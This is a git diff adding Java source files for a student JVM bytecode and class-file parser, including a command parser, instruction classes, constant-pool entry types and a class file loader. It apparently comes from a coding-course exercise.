+	public abstract String toString(ConstantPool pool);
+	
+	public String getReadableCodeText(){
+		String txt = codeMap.get(opCode);
+		if(txt == null){
+			return opCode;
+		}
+		return txt;
+	}
+	
+	//public abstract void execute(StackFrame frame,FrameResult result);
+}
diff --git a/group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/CommandParser.java b/group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/CommandParser.java
new file mode 100644
index 0000000000..d84508c68b
--- /dev/null
+++ b/group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/CommandParser.java
@@ -0,0 +1,130 @@
+package com.coderising.jvm.cmd;
+
+import java.util.ArrayList;
+import java.util.LinkedList;
+import java.util.List;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.sun.org.apache.bcel.internal.generic.BIPUSH;
+import com.sun.org.apache.bcel.internal.generic.INVOKESPECIAL;
+
+public class CommandParser {
+
+    public static final String aconst_null = "01";
+    public static final String new_object = "BB";
+    public static final String lstore = "37";
+    public static final String invokespecial = "B7";
+    public static final String invokevirtual = "B6";
+    public static final String getfield = "B4";
+    public static final String putfield = "B5";
+    public static final String getstatic = "B2";
+    public static final String ldc = "12";
+    public static final String dup = "59";
+    public static final String bipush = "10";
+    public static final String aload_0 = "2A";
+    public static final String aload_1 = "2B";
+    public static final String aload_2 = "2C";
+    public static final String iload = "15";
+    public static final String iload_1 = "1B";
+    public static final String iload_2 = "1C";
+    public static final String iload_3 = "1D";
+    public static final String fload_3 = "25";
+
+    public static final String voidreturn = "B1";
+    public static final String ireturn = "AC";
+    public static final String freturn = "AE";
+
+    public static final String astore_1 = "4C";
+    public static final String if_icmp_ge = "A2";
+    public static final String if_icmple = "A4";
+    public static final String goto_no_condition = "A7";
+    public static final String iconst_0 = "03";
+    public static final String iconst_1 = "04";
+    public static final String istore_1 = "3C";
+    public static final String istore_2 = "3D";
+    public static final String iadd = "60";
+    public static final String iinc = "84";
+
+    public static ByteCodeCommand[] parse(ClassFile clzFile, String codes) {
+
+        codes = codes.toUpperCase();
+        if (codes == "" || codes == null) {
+            throw new RuntimeException("codes为空！");
+        }
+        List<ByteCodeCommand> cmds = new LinkedList<ByteCodeCommand>();
+
+        CommandIterator iter = new CommandIterator(codes);
+        while (iter.hasNext()) {
+            String opCode = iter.next2CharAsString();
+            if (opCode.equals(new_object)) {
+                NewObjectCmd newObjectCmd = new NewObjectCmd(clzFile,opCode);
+                newObjectCmd.setOprand1(iter.next2CharAsInt());
+                newObjectCmd.setOprand2(iter.next2CharAsInt());
+                cmds.add(newObjectCmd);
+            } else if (opCode.equals(dup)||opCode.equals(astore_1)||opCode.equals(aload_0)||opCode.equals(aload_1)||opCode.equals(aload_2)||opCode.equals(voidreturn)) {
+                NoOperandCmd noOperandCmd = new NoOperandCmd(clzFile, opCode);
+                cmds.add(noOperandCmd);
+
+            }else if (opCode.equals(ldc)){
+                LdcCmd cmd = new LdcCmd(clzFile, opCode);
+                cmd.setOperand(iter.next2CharAsInt());
+                cmds.add(cmd);
+            }else if (opCode.equals(bipush)){
+                BiPushCmd cmd = new BiPushCmd(clzFile, opCode);
+                cmd.setOperand(iter.next2CharAsInt());
+                cmds.add(cmd);
+            } else if (opCode.equals(invokespecial)) {
+                InvokeSpecialCmd cmd = new InvokeSpecialCmd(clzFile, opCode);
+                cmd.setOprand1(iter.next2CharAsInt());
+                cmd.setOprand2(iter.next2CharAsInt());
+                cmds.add(cmd);
+            } else if (opCode.equals(invokevirtual)) {
+                InvokeVirtualCmd cmd = new InvokeVirtualCmd(clzFile, opCode);
+                cmd.setOprand1(iter.next2CharAsInt());
+                cmd.setOprand2(iter.next2CharAsInt());
+                cmds.add(cmd);
+            }else{
+                throw new RuntimeException(opCode + "未进行判断！");
+            }
+        }
+
+        calcuateOffset(cmds);
+        ByteCodeCommand[] cmd = (ByteCodeCommand[])cmds.toArray();
+        return cmd;
+    }
+
+    private static void calcuateOffset(List<ByteCodeCommand> cmds) {
+
+        int offset = 0;
+        for (ByteCodeCommand cmd : cmds) {
+            cmd.setOffset(offset);
+            offset += cmd.getLength();
+        }
+
+    }
+
+    private static class CommandIterator {
+        String codes = null;
+        int pos = 0;
+
+        CommandIterator(String codes) {
+            this.codes = codes;
+        }
+
+        public boolean hasNext() {
+            return pos < this.codes.length();
+        }
+
+        public String next2CharAsString() {
+            String result = codes.substring(pos, pos + 2);
+            pos += 2;
+            return result;
+        }
+
+        public int next2CharAsInt() {
+            String s = this.next2CharAsString();
+            return Integer.valueOf(s, 16).intValue();
+        }
+
+    }
+}
diff --git a/group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/GetFieldCmd.java b/group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/GetFieldCmd.java
new file mode 100644
index 0000000000..2e6061edd2
--- /dev/null
+++ b/group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/GetFieldCmd.java
@@ -0,0 +1,22 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantPool;
+
+
+public class GetFieldCmd extends TwoOperandCmd {
+
+	public GetFieldCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);		
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsField(pool);
+	}
+
+	
+	
+
+}
diff --git a/group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/GetStaticFieldCmd.java b/group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/GetStaticFieldCmd.java
new file mode 100644
index 0000000000..e6cf9d5960
--- /dev/null
+++ b/group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/GetStaticFieldCmd.java
@@ -0,0 +1,23 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ClassInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.FieldRefInfo;
+import com.coderising.jvm.constant.UTF8Info;
+
+
+public class GetStaticFieldCmd extends TwoOperandCmd {
+
+	public GetStaticFieldCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);
+		
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsField(pool);
+	}
+
+}
diff --git a/group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/InvokeSpecialCmd.java b/group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/InvokeSpecialCmd.java
new file mode 100644
index 0000000000..ac228d0e4d
--- /dev/null
+++ b/group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/InvokeSpecialCmd.java
@@ -0,0 +1,23 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.MethodRefInfo;
+
+
+public class InvokeSpecialCmd extends TwoOperandCmd {
+
+	public InvokeSpecialCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);
+		
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsMethod(pool);
+	}
+
+	
+
+}
diff --git a/group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/InvokeVirtualCmd.java b/group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/InvokeVirtualCmd.java
new file mode 100644
index 0000000000..c15d827797
--- /dev/null
+++ b/group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/InvokeVirtualCmd.java
@@ -0,0 +1,22 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantPool;
+
+
+public class InvokeVirtualCmd extends TwoOperandCmd {
+
+	public InvokeVirtualCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsMethod(pool);
+	}
+
+	
+	
+
+}
diff --git a/group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/LdcCmd.java b/group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/LdcCmd.java
new file mode 100644
index 0000000000..ffb66f811c
--- /dev/null
+++ b/group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/LdcCmd.java
@@ -0,0 +1,29 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.StringInfo;
+
+public class LdcCmd extends OneOperandCmd {
+
+	public LdcCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);		
+	}
+	
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		ConstantInfo info = (ConstantInfo)pool.getConstantInfo(this.getOperand());
+		
+		String value = "TBD";
+		if(info instanceof StringInfo){
+			StringInfo strInfo = (StringInfo)info;
+			value = strInfo.toString();
+		}
+		
+		return this.getOffset()+":"+this.getOpCode()+" " + this.getReadableCodeText() + " "+  value;
+		
+	}
+	
+}
diff --git a/group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/NewObjectCmd.java b/group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/NewObjectCmd.java
new file mode 100644
index 0000000000..33813b5d59
--- /dev/null
+++ b/group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/NewObjectCmd.java
@@ -0,0 +1,19 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantPool;
+
+public class NewObjectCmd extends TwoOperandCmd{
+	
+	public NewObjectCmd(ClassFile clzFile, String opCode){
+		super(clzFile,opCode);
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsClassInfo(pool);
+	}
+
+	
+}
diff --git a/group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/NoOperandCmd.java b/group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/NoOperandCmd.java
new file mode 100644
index 0000000000..56c28fefe2
--- /dev/null
+++ b/group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/NoOperandCmd.java
@@ -0,0 +1,23 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantPool;
+
+public class NoOperandCmd extends ByteCodeCommand{
+
+	public NoOperandCmd(ClassFile clzFile, String opCode) {
+		super(clzFile, opCode);
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		return this.getOffset()+":" +this.getOpCode() + " "+ this.getReadableCodeText();
+	}
+
+	
+	
+	public  int getLength(){
+		return 1;
+	}
+
+}
diff --git a/group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/OneOperandCmd.java b/group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/OneOperandCmd.java
new file mode 100644
index 0000000000..963d064257
--- /dev/null
+++ b/group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/OneOperandCmd.java
@@ -0,0 +1,27 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+
+public abstract class OneOperandCmd extends ByteCodeCommand {
+
+	private int operand;
+	
+	public OneOperandCmd(ClassFile clzFile,String opCode) {
+		super(clzFile, opCode);
+		
+	}
+	public  int getOperand() {
+		
+		return this.operand;
+	}
+
+	public void setOperand(int oprand1) {
+		this.operand = oprand1;
+		
+	}
+	public  int getLength(){
+		return 2;
+	}
+
+	
+}
diff --git a/group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/PutFieldCmd.java b/group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/PutFieldCmd.java
new file mode 100644
index 0000000000..85bb369c19
--- /dev/null
+++ b/group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/PutFieldCmd.java
@@ -0,0 +1,19 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantPool;
+
+public class PutFieldCmd extends TwoOperandCmd {
+
+	public PutFieldCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);		
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsField(pool);
+	}
+
+
+}
diff --git a/group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/TwoOperandCmd.java b/group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/TwoOperandCmd.java
new file mode 100644
index 0000000000..6c0cf53082
--- /dev/null
+++ b/group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/TwoOperandCmd.java
@@ -0,0 +1,67 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ClassInfo;
+import com.coderising.jvm.constant.ConstantInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.FieldRefInfo;
+import com.coderising.jvm.constant.MethodRefInfo;
+
+public abstract class TwoOperandCmd extends ByteCodeCommand{
+	
+	int oprand1 = -1;
+	int oprand2 = -1;
+	
+	public int getOprand1() {
+		return oprand1;
+	}
+
+	public void setOprand1(int oprand1) {
+		this.oprand1 = oprand1;
+	}
+
+	public void setOprand2(int oprand2) {
+		this.oprand2 = oprand2;
+	}
+
+	public int getOprand2() {
+		return oprand2;
+	}
+	
+	public TwoOperandCmd(ClassFile clzFile,String opCode) {
+		super(clzFile, opCode);
+	}
+
+	public int getIndex(){
+		int oprand1 = this.getOprand1();
+		int oprand2 = this.getOprand2();
+		int index = oprand1 << 8 | oprand2;
+		return index;
+	}
+	
+	protected String getOperandAsClassInfo(ConstantPool pool){
+		int index = getIndex();
+		String codeTxt = getReadableCodeText();
+		ClassInfo info = (ClassInfo)pool.getConstantInfo(index);
+		return this.getOffset()+":"+this.getOpCode()+" "+ codeTxt +"  "+ info.getClassName();
+	}
+	
+	protected String getOperandAsMethod(ConstantPool pool){
+		int index = getIndex();
+		String codeTxt = getReadableCodeText();
+		ConstantInfo constInfo = this.getConstantInfo(index);
+		MethodRefInfo info = (MethodRefInfo)this.getConstantInfo(index);
+		return this.getOffset()+":"+this.getOpCode()+" " + codeTxt +"  "+ info.toString();
+	}
+
+	protected String getOperandAsField(ConstantPool pool){
+		int index = getIndex();
+		
+		String codeTxt = getReadableCodeText();
+		FieldRefInfo info = (FieldRefInfo)this.getConstantInfo(index);
+		return this.getOffset()+":"+this.getOpCode()+" " + codeTxt +"  "+ info.toString();
+	}
+	public  int getLength(){
+		return 3;
+	}
+}
diff --git a/group23/563253496/week6_jvm/src/com/coderising/jvm/constant/ClassInfo.java b/group23/563253496/week6_jvm/src/com/coderising/jvm/constant/ClassInfo.java
new file mode 100644
index 0000000000..aea9048ea4
--- /dev/null
+++ b/group23/563253496/week6_jvm/src/com/coderising/jvm/constant/ClassInfo.java
@@ -0,0 +1,24 @@
+package com.coderising.jvm.constant;
+
+public class ClassInfo extends ConstantInfo {
+	private int type = ConstantInfo.CLASS_INFO;
+	private int utf8Index ;
+	public ClassInfo(ConstantPool pool) {
+		super(pool);
+	}
+	public int getUtf8Index() {
+		return utf8Index;
+	}
+	public void setUtf8Index(int utf8Index) {
+		this.utf8Index = utf8Index;
+	}
+	public int getType() {
+		return type;
+	}
+	
+	public String getClassName() {		
+		int index = getUtf8Index();
+		UTF8Info utf8Info = (UTF8Info)constantPool.getConstantInfo(index);
+		return utf8Info.getValue();		
+	}
+}
diff --git a/group23/563253496/week6_jvm/src/com/coderising/jvm/constant/ConstantInfo.java b/group23/563253496/week6_jvm/src/com/coderising/jvm/constant/ConstantInfo.java
new file mode 100644
index 0000000000..466b072244
--- /dev/null
+++ b/group23/563253496/week6_jvm/src/com/coderising/jvm/constant/ConstantInfo.java
@@ -0,0 +1,29 @@
+package com.coderising.jvm.constant;
+
+public abstract class ConstantInfo {
+	public static final int UTF8_INFO = 1;
+	public static final int FLOAT_INFO = 4;
+	public static final int CLASS_INFO = 7;
+	public static final int STRING_INFO = 8;
+	public static final int FIELD_INFO = 9;
+	public static final int METHOD_INFO = 10;
+	public static final int NAME_AND_TYPE_INFO = 12;
+	protected ConstantPool constantPool;
+	
+	public ConstantInfo(){
+		
+	}
+	
+	public ConstantInfo(ConstantPool pool) {
+		this.constantPool = pool;
+	}
+	public abstract int getType();
+	
+	public ConstantPool getConstantPool() {
+		return constantPool;
+	}
+	public ConstantInfo getConstantInfo(int index){
+		return this.constantPool.getConstantInfo(index);
+	}
+	
+}
diff --git a/group23/563253496/week6_jvm/src/com/coderising/jvm/constant/ConstantPool.java b/group23/563253496/week6_jvm/src/com/coderising/jvm/constant/ConstantPool.java
new file mode 100644
index 0000000000..86c0445695
--- /dev/null
+++ b/group23/563253496/week6_jvm/src/com/coderising/jvm/constant/ConstantPool.java
@@ -0,0 +1,29 @@
+package com.coderising.jvm.constant;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class ConstantPool {
+	
+	private List<ConstantInfo> constantInfos = new ArrayList<ConstantInfo>();
+	
+	
+	public ConstantPool(){
+		
+	}
+	public void addConstantInfo(ConstantInfo info){
+		
+		this.constantInfos.add(info);
+		
+	}
+	
+	public ConstantInfo getConstantInfo(int index){
+		return this.constantInfos.get(index);
+	}
+	public String getUTF8String(int index){
+		return ((UTF8Info)this.constantInfos.get(index)).getValue();
+	}
+	public Object getSize() {		
+		return this.constantInfos.size() -1;
+	}
+}
diff --git a/group23/563253496/week6_jvm/src/com/coderising/jvm/constant/FieldRefInfo.java b/group23/563253496/week6_jvm/src/com/coderising/jvm/constant/FieldRefInfo.java
new file mode 100644
index 0000000000..65475e194c
--- /dev/null
+++ b/group23/563253496/week6_jvm/src/com/coderising/jvm/constant/FieldRefInfo.java
@@ -0,0 +1,54 @@
+package com.coderising.jvm.constant;
+
+public class FieldRefInfo extends ConstantInfo{
+	private int type = ConstantInfo.FIELD_INFO;
+	private int classInfoIndex;
+	private int nameAndTypeIndex;
+	
+	public FieldRefInfo(ConstantPool pool) {
+		super(pool);
+	}
+	public int getType() {
+		return type;
+	}
+	
+	public int getClassInfoIndex() {
+		return classInfoIndex;
+	}
+	public void setClassInfoIndex(int classInfoIndex) {
+		this.classInfoIndex = classInfoIndex;
+	}
+	public int getNameAndTypeIndex() {
+		return nameAndTypeIndex;
+	}
+	public void setNameAndTypeIndex(int nameAndTypeIndex) {
+		this.nameAndTypeIndex = nameAndTypeIndex;
+	}
+	
+	public String toString(){
+		
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
+		
+		return getClassName() +" : "+  typeInfo.getName() + ":" + typeInfo.getTypeInfo() +"]";
+	}
+	
+	public String getClassName(){
+		
+		ClassInfo classInfo = (ClassInfo) this.getConstantInfo(this.getClassInfoIndex());
+		
+		UTF8Info utf8Info = (UTF8Info)this.getConstantInfo(classInfo.getUtf8Index());
+		
+		return utf8Info.getValue();
+		
+	}
+	
+	public String getFieldName(){
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
+		return typeInfo.getName();		
+	}
+	
+	public String getFieldType(){
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
+		return typeInfo.getTypeInfo();	
+	}
+}
diff --git a/group23/563253496/week6_jvm/src/com/coderising/jvm/constant/MethodRefInfo.java b/group23/563253496/week6_jvm/src/com/coderising/jvm/constant/MethodRefInfo.java
new file mode 100644
index 0000000000..7f05870020
--- /dev/null
+++ b/group23/563253496/week6_jvm/src/com/coderising/jvm/constant/MethodRefInfo.java
@@ -0,0 +1,55 @@
+package com.coderising.jvm.constant;
+
+public class MethodRefInfo extends ConstantInfo {
+	
+	private int type = ConstantInfo.METHOD_INFO;
+	
+	private int classInfoIndex;	
+	private int nameAndTypeIndex;
+	
+	public MethodRefInfo(ConstantPool pool) {
+		super(pool);
+	}
+
+	public int getType() {
+		return type;
+	}
+	
+	public int getClassInfoIndex() {
+		return classInfoIndex;
+	}
+	public void setClassInfoIndex(int classInfoIndex) {
+		this.classInfoIndex = classInfoIndex;
+	}
+	public int getNameAndTypeIndex() {
+		return nameAndTypeIndex;
+	}
+	public void setNameAndTypeIndex(int nameAndTypeIndex) {
+		this.nameAndTypeIndex = nameAndTypeIndex;
+	}
+	
+	public String toString(){
+	
+		return getClassName() +" : "+ this.getMethodName() + " : " + this.getParamAndReturnType() ;
+	}
+	public String getClassName(){
+		ConstantPool pool = this.getConstantPool();		
+		ClassInfo clzInfo = (ClassInfo)pool.getConstantInfo(this.getClassInfoIndex());
+		return clzInfo.getClassName();
+	}
+	
+	public String getMethodName(){
+		ConstantPool pool = this.getConstantPool();
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)pool.getConstantInfo(this.getNameAndTypeIndex());
+		return typeInfo.getName();
+	}
+	
+	public String getParamAndReturnType(){
+		ConstantPool pool = this.getConstantPool();
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)pool.getConstantInfo(this.getNameAndTypeIndex());
+		return typeInfo.getTypeInfo();
+	}
+	
+	
+	
+}
diff --git a/group23/563253496/week6_jvm/src/com/coderising/jvm/constant/NameAndTypeInfo.java b/group23/563253496/week6_jvm/src/com/coderising/jvm/constant/NameAndTypeInfo.java
new file mode 100644
index 0000000000..402f9dec86
--- /dev/null
+++ b/group23/563253496/week6_jvm/src/com/coderising/jvm/constant/NameAndTypeInfo.java
@@ -0,0 +1,45 @@
+package com.coderising.jvm.constant;
+
+public class NameAndTypeInfo extends ConstantInfo{
+	public  int type = ConstantInfo.NAME_AND_TYPE_INFO;
+	
+	private int index1;
+	private int index2;
+	
+	public NameAndTypeInfo(ConstantPool pool) {
+		super(pool);
+	}
+	
+	public int getIndex1() {
+		return index1;
+	}
+	public void setIndex1(int index1) {
+		this.index1 = index1;
+	}
+	public int getIndex2() {
+		return index2;
+	}
+	public void setIndex2(int index2) {
+		this.index2 = index2;
+	}
+	public int getType() {
+		return type;
+	}
+	
+	
+	public String getName(){
+		ConstantPool pool = this.getConstantPool();
+		UTF8Info utf8Info1 = (UTF8Info)pool.getConstantInfo(index1);
+		return utf8Info1.getValue();
+	}
+	
+	public String getTypeInfo(){
+		ConstantPool pool = this.getConstantPool();
+		UTF8Info utf8Info2 = (UTF8Info)pool.getConstantInfo(index2);
+		return utf8Info2.getValue();
+	}
+	
+	public String toString(){
+		return "(" + getName() + "," + getTypeInfo()+")";
+	}
+}
diff --git a/group23/563253496/week6_jvm/src/com/coderising/jvm/constant/NullConstantInfo.java b/group23/563253496/week6_jvm/src/com/coderising/jvm/constant/NullConstantInfo.java
new file mode 100644
index 0000000000..936736016f
--- /dev/null
+++ b/group23/563253496/week6_jvm/src/com/coderising/jvm/constant/NullConstantInfo.java
@@ -0,0 +1,13 @@
+package com.coderising.jvm.constant;
+
+public class NullConstantInfo extends ConstantInfo {
+
+	public NullConstantInfo(){
+		
+	}
+	@Override
+	public int getType() {		
+		return -1;
+	}
+	
+}
diff --git a/group23/563253496/week6_jvm/src/com/coderising/jvm/constant/StringInfo.java b/group23/563253496/week6_jvm/src/com/coderising/jvm/constant/StringInfo.java
new file mode 100644
index 0000000000..f1f8eb4ed4
--- /dev/null
+++ b/group23/563253496/week6_jvm/src/com/coderising/jvm/constant/StringInfo.java
@@ -0,0 +1,26 @@
+package com.coderising.jvm.constant;
+
+public class StringInfo extends ConstantInfo{
+	private int type = ConstantInfo.STRING_INFO;
+	private int index;
+	public StringInfo(ConstantPool pool) {
+		super(pool);
+	}
+
+	public int getType() {
+		return type;
+	}
+	
+	public int getIndex() {
+		return index;
+	}
+	public void setIndex(int index) {
+		this.index = index;
+	}
+
+	
+	public String toString(){
+		return this.getConstantPool().getUTF8String(index);
+	}
+	
+}
diff --git a/group23/563253496/week6_jvm/src/com/coderising/jvm/constant/UTF8Info.java b/group23/563253496/week6_jvm/src/com/coderising/jvm/constant/UTF8Info.java
new file mode 100644
index 0000000000..5cac9f04f7
--- /dev/null
+++ b/group23/563253496/week6_jvm/src/com/coderising/jvm/constant/UTF8Info.java
@@ -0,0 +1,32 @@
+package com.coderising.jvm.constant;
+
+public class UTF8Info extends ConstantInfo{
+	private int type = ConstantInfo.UTF8_INFO;
+	private int length ;
+	private String value;
+	public UTF8Info(ConstantPool pool) {
+		super(pool);
+	}
+	public int getLength() {
+		return length;
+	}
+	public void setLength(int length) {
+		this.length = length;
+	}
+	public int getType() {
+		return type;
+	}
+	@Override
+	public String toString() {
+		return "UTF8Info [type=" + type + ", length=" + length + ", value=" + value +")]";
+	}
+	public String getValue() {
+		return value;
+	}
+	public void setValue(String value) {
+		this.value = value;
+	}
+	
+	
+
+}
diff --git a/group23/563253496/week6_jvm/src/com/coderising/jvm/field/Field.java b/group23/563253496/week6_jvm/src/com/coderising/jvm/field/Field.java
new file mode 100644
index 0000000000..dc4dfff971
--- /dev/null
+++ b/group23/563253496/week6_jvm/src/com/coderising/jvm/field/Field.java
@@ -0,0 +1,44 @@
+package com.coderising.jvm.field;
+
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.UTF8Info;
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+
+public class Field {
+	private int accessFlag;
+	private int nameIndex;
+	private int descriptorIndex;
+	
+	
+	
+	private ConstantPool pool;
+	
+	public Field( int accessFlag, int nameIndex, int descriptorIndex,ConstantPool pool) {
+		
+		this.accessFlag = accessFlag;
+		this.nameIndex = nameIndex;
+		this.descriptorIndex = descriptorIndex;
+		this.pool = pool;
+	}
+
+	
+	
+	
+	public static Field parse(ConstantPool pool,ByteCodeIterator iter){
+		int accessflag = iter.nextU2ToInt();
+		int nameindex = iter.nextU2ToInt();
+		int descriptorindex = iter.nextU2ToInt();
+		int attributecount = iter.nextU2ToInt();
+		if (attributecount > 0) {
+			throw new RuntimeException("该字段中有属性" + attributecount + "个，未进行解析");
+		}
+		Field field = new Field(accessflag, nameindex, descriptorindex, pool);
+		return field;
+
+	}
+	public String toString() {
+		return pool.getUTF8String(this.nameIndex)+":"+pool.getUTF8String(this.descriptorIndex);
+	}
+
+}
diff --git a/group23/563253496/week6_jvm/src/com/coderising/jvm/loader/ByteCodeIterator.java b/group23/563253496/week6_jvm/src/com/coderising/jvm/loader/ByteCodeIterator.java
new file mode 100644
index 0000000000..40b792eda5
--- /dev/null
+++ b/group23/563253496/week6_jvm/src/com/coderising/jvm/loader/ByteCodeIterator.java
@@ -0,0 +1,65 @@
+package com.coderising.jvm.loader;
+
+import java.util.Arrays;
+
+import com.coderising.jvm.util.Util;
+
+public  class ByteCodeIterator {
+	public byte[] codes;
+	public int pos = 0;
+
+	public ByteCodeIterator(byte[] codes) {
+		this.codes = codes;
+	}
+
+	
+
+	public byte[] getBytes(int len) {
+		if (pos + len >= codes.length) {
+			throw new ArrayIndexOutOfBoundsException();
+		}
+
+		byte[] data = Arrays.copyOfRange(codes, pos, pos + len);
+		pos += len;
+		return data;
+	}
+
+	public int nextU1toInt() {
+
+		return Util.byteToInt(new byte[] { codes[pos++] });
+	}
+
+	public int nextU2ToInt() {
+		return Util.byteToInt(new byte[] { codes[pos++], codes[pos++] });
+	}
+
+	public int nextU4ToInt() {
+		return Util.byteToInt(new byte[] { codes[pos++], codes[pos++], codes[pos++], codes[pos++] });
+	}
+
+	public String nextU4ToHexString() {
+		return Util.byteToHexString((new byte[] { codes[pos++], codes[pos++], codes[pos++], codes[pos++] }));
+	}
+
+	public String nextUxToHexString(int len) {
+		byte[] tmp = new byte[len];
+
+		for (int i = 0; i < len; i++) {
+			tmp[i] = codes[pos++];
+		}
+		return Util.byteToHexString(tmp).toLowerCase();
+
+	}
+
+	public void back(int n) {
+		this.pos -= n;
+	}
+
+	public boolean isNotEnd(){
+		if(pos<codes.length){
+			return true;
+		}else{
+			return false;
+		}
+	}
+}
diff --git a/group23/563253496/week6_jvm/src/com/coderising/jvm/loader/ClassFileLoader.java b/group23/563253496/week6_jvm/src/com/coderising/jvm/loader/ClassFileLoader.java
new file mode 100644
index 0000000000..33185d8175
--- /dev/null
+++ b/group23/563253496/week6_jvm/src/com/coderising/jvm/loader/ClassFileLoader.java
@@ -0,0 +1,140 @@
+package com.coderising.jvm.loader;
+
+import java.io.BufferedInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.IOException;
+import java.util.ArrayList;
+import java.util.List;
+
+import org.apache.commons.io.IOUtils;
+import org.apache.commons.lang3.StringUtils;
+
+import com.coderising.jvm.clz.ClassFile;
+
+
+
+
+
+public class ClassFileLoader {
+
+	private List<String> clzPaths = new ArrayList<String>();
+	
+	public byte[] readBinaryCode(String className) {
+		
+		className = className.replace('.', File.separatorChar) +".class";
+		
+		for(String path : this.clzPaths){
+			
+			String clzFileName = path + File.separatorChar + className;
+			byte[] codes = loadClassFile(clzFileName);
+			if(codes != null){
+				return codes;
+			}			
+		}
+		
+		return null;
+		
+		
+		
+	}
+	
+	private byte[] loadClassFile(String clzFileName) {
+		
+		File f = new File(clzFileName);
+		
+		try {
+		
+			return IOUtils.toByteArray(new FileInputStream(f));
+			
+		} catch (IOException e) {			
+			e.printStackTrace();
+			return null;
+		}
+	}
+	
+	
+	
+	public void addClassPath(String path) {
+		if(this.clzPaths.contains(path)){
+			return;
+		}
+		
+		this.clzPaths.add(path);
+		
+	}
+	
+	
+	
+	public String getClassPath(){
+		return StringUtils.join(this.clzPaths,";");
+	}
+
+	public ClassFile loadClass(String className) {
+		byte[] codes = this.readBinaryCode(className);
+		ClassFileParser parser = new ClassFileParser();
+		return parser.parse(codes);
+		
+	}
+	
+	
+	
+	// ------------------------------backup------------------------
+    public String getClassPath_V1(){
+		
+		StringBuffer buffer = new StringBuffer();
+		for(int i=0;i<this.clzPaths.size();i++){
